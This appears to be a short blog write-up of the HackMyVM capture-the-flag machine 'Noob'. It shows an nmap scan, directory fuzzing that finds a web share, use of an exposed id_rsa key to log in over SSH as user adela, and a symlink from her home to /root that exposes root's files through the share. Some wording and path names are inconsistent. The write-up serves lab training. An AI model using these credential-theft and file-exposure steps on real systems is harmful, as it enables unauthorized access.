Home Noob
Post
Cancel

Noob

HackMyVM

Enumeration

# Nmap 7.92 scan initiated Mon Dec 27 14:56:11 2021 as: nmap -p- -v -oN nmapAllPorts 192.168.0.243
Nmap scan report for 192.168.0.243
Host is up (0.0042s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
65530/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Dec 27 14:56:18 2021 -- 1 IP address (1 host up) scanned in 7.61 seconds

Port 65530

PORT      STATE SERVICE VERSION
65530/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

WEB

We receive page not found on default path

Fuzzing

/nt4share             (Status: 301) [Size: 45] [--> /nt4share/]

Untitled

  • Go to the .ssh
  • Get id_rsa
  • authorized_keys reveal the user adela
ssh adela@$IP -i id_rsa

Root

The goland on port 65530 is running has an admin

Adela home’s directory its mirroing on n4tshare path

  • Make a symbolic link on adela home directory to root directory
  • ln -s /root/ /home/adela/
  • Return to the webserver and go to the n4tshare
UntitledUntitled
This post is licensed under CC BY 4.0 by the author.
Recent Update
Trending Tags
Contents

Trending Tags